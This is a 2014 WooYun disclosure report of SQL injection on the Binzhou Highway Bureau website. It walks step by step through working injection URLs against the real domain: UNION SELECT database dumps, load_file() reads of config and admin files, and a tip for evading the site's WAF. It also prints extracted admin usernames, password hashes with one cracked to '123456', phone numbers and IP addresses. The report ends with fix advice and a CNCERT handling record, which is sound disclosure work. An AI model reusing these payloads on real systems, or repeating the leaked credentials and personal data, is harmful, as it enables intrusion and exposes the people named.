当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069540

漏洞标题:滨州公路局网站SQL注入

相关厂商:http://www.bzglj.cn/

漏洞作者: wooOver

提交时间:2014-07-24 15:10

修复时间:2014-09-07 15:16

公开时间:2014-09-07 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-24: 细节已通知厂商并且等待厂商处理中
2014-07-29: 厂商已经确认,细节仅向厂商公开
2014-08-08: 细节向核心白帽子及相关领域专家公开
2014-08-18: 细节向普通白帽子公开
2014-08-28: 细节向实习白帽子公开
2014-09-07: 细节向公众公开

简要描述:

滨州公路局网站存在严重的SQL注入漏洞,攻击者可以脱裤、可以登录后台、可以阅读服务器文件

详细说明:

第一次报告漏洞,有不正之处还望修改!主页君,快点赏我个邀请码哦~鼓励一下啦
说明:
1.本人无意中发现该网站存在SQL注入漏洞,为了安全起见,只测试了部分信息,没有写入任何文件,没有对网站造成任何破坏。
2.该网站可能采用了WAF,URL中包含database(),users(),information_scheme等关键字时,网站会封禁IP 5分钟。借用移动网络或者Goagent可以绕过该限制。编主如果在测试该网站的过程中发现访问不了,可以借用Goagent。
1 测试是否存在SQL注入
http://www.bzglj.cn/news.php?id=3 and 1=1% --% - 访问成功
http://www.bzglj.cn/news.php?id=3 and 1=2% --% - 访问报错
得证:该网站存在SQL注入漏洞
并且暴露出网站路径
Notice: Undefined variable: pagenum in D:\web\bzglj_cn\news.php on line 226

1马斯阿克.png



2 利用orderby 测试数据库的列数。
http://www.bzglj.cn/news.php?id=3 order by N -- - N 从1开始,当增加到15的时候出错。14正确,说明一共有14列
3.获取数据库用户、版本、数据库名称
http://www.bzglj.cn/news.php?id=3 union select 1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14 -- -
得:
图中新闻列表第一条标题即所查询信息
root@localhost:5.5.36:bzglj_cn

昊飞团队马赛克软件.png


后续union 查询相同
4 获得数据库的所有表
http://www.bzglj.cn/news.php?id=3 union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema =0x627a676c6a5f636e-- -

11昊飞团队马赛克软件.png


第一条标题为3的新闻的链接内容是所需要查找的信息:http://www.bzglj.cn/news_show.php?id=bzglj_article,bzglj_article_category,bzglj_guestbook,bzglj_link,bzglj_nav,bzglj_page,bzglj_show,bzglj_system,bzglj_system_url,bzglj_user,bzglj_user_log

获得的表名称依次为
bzglj_article,
bzglj_article_category,
bzglj_guestbook,
bzglj_link,
bzglj_nav,
bzglj_page,
bzglj_show,
bzglj_system,
bzglj_system_url,
bzglj_user,
bzglj_user_log
5获取用户表 bzglj_user<方法与4相同>
http://www.bzglj.cn/news.php?id=3 UNION SELECT group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14 FROM information_schema.columns WHERE table_name = 0x627a676c6a5f75736572-- -
得到
http://www.bzglj.cn/news_show.php?id=
user_id,
username,
password,
is_admin,
phone,
login_num,
datetime,
ip
获取bzglj_user的所有列
http://www.bzglj.cn/news.php?id=3 union select group_concat(concat_ws(0x3a,username,password,is_admin,phone,login_num,datetime,ip)),2,3,4,5,6,7,8,9,10,11,12,13,14 FROM bzglj_user-- -
得到:

username,password,is_admin,phone,login_num,datetime,ip
huntun:e10adc3949ba59abbe56e057f20f883e:1:18805438882:986:2014-07-15%2014:48:28:218.57.237.2,
Hash 破解 123456 故得到一个管理员账号(huntun,123456)<万能的乌云,公开的时候一定要删除哦~~~>
admin:16d3a13194b52e15df4efb584be75ad3:1:13333333333:414:2014-07-23%2008:30:38:218.57.237.2
Hash暂未破解
------按照5的步骤可以遍历所有的数据库表-------------------
6. 读取文件漏洞
读取D:\web\bzglj_cn\news_show.php
union select Hex(
load_file(char( 68 , 58 , 92 , 119 , 101 , 98 , 92 , 98 , 122 , 103 , 108 , 106 , 95 , 99 , 110 , 92 , 110 , 101 , 119 , 115 , 95 , 115 , 104 , 111 , 119 , 46 , 112 , 104 , 112 ))) ,1,2,4,5,6,7,8,9,10,11,12,13,14-- -
读取D:\web\bzglj_cn\config.php
union select Hex(
load_file(char( 68 , 58 , 92 , 119 , 101 , 98 , 92 , 98 , 122 , 103 , 108 , 106 , 95 , 99 , 110 , 92 , 99 , 111 , 110 , 102 , 105 , 103 , 46 , 112 , 104 , 112 ))) ,1,2,4,5,6,7,8,9,10,11,12,13,14-- -
读取D:\web\bzglj_cn\admin\admin_login.php
union select Hex(
load_file(char(
68 , 58 , 92 , 119 , 101 , 98 , 92 , 98 , 122 , 103 , 108 , 106 , 95 , 99 , 110 , 92 , 97 , 100 , 109 , 105 , 110 , 92 , 97 , 100 , 109 , 105 , 110 , 95 , 108 , 111 , 103 , 105 , 110 , 46 , 112 , 104 , 112 ))) ,1,2,4,5,6,7,8,9,10,11,12,13,14-- -
读取D:\web\bzglj_cn\admin\admin_article.php
union select Hex(
load_file(char( 68 , 58 , 92 , 119 , 101 , 98 , 92 , 98 , 122 , 103 , 108 , 106 , 95 , 99 , 110 , 92 , 97 , 100 , 109 , 105 , 110 , 92 , 97 , 100 , 109 , 105 , 110 , 95 , 97 , 114 , 116 , 105 , 99 , 108 , 101 , 46 , 112 , 104 , 112 )
)) ,1,2,4,5,6,7,8,9,10,11,12,13,14-- -
上述读取文件返回的数据是hex编码以后的数据,直接unhex就可以解码
7.后台登陆
http://www.bzglj.cn/admin/admin_login.php

admin.png


总结:本网站SQL注入漏洞可导致恶意脱裤、可遍历所有程序文件、可登陆后台。登陆后台以后可以借用文件上传,添加shell,处于安全性考虑,没有添加shell。在整个渗透测试过程中,只是简单的查询相关信息,没有写入任何恶意文件或程序。

漏洞证明:

登陆后台

admin.png


用户名、数据库、版本查询

昊飞团队马赛克软件.png


查询报错泄露地址

1马斯阿克.png

修复方案:

建议<网站可以联系我,我可以免费帮你们修复>
修复措施包括
1. 过滤输入参数,防止SQL注入
2. 网站数据库用户权限过大,不应该给予Root权限
3. 隐藏后台地址
4. 删除弱密码后台管理员用户

版权声明:转载请注明来源 wooOver@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-07-29 09:43

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置。

最新状态:

暂无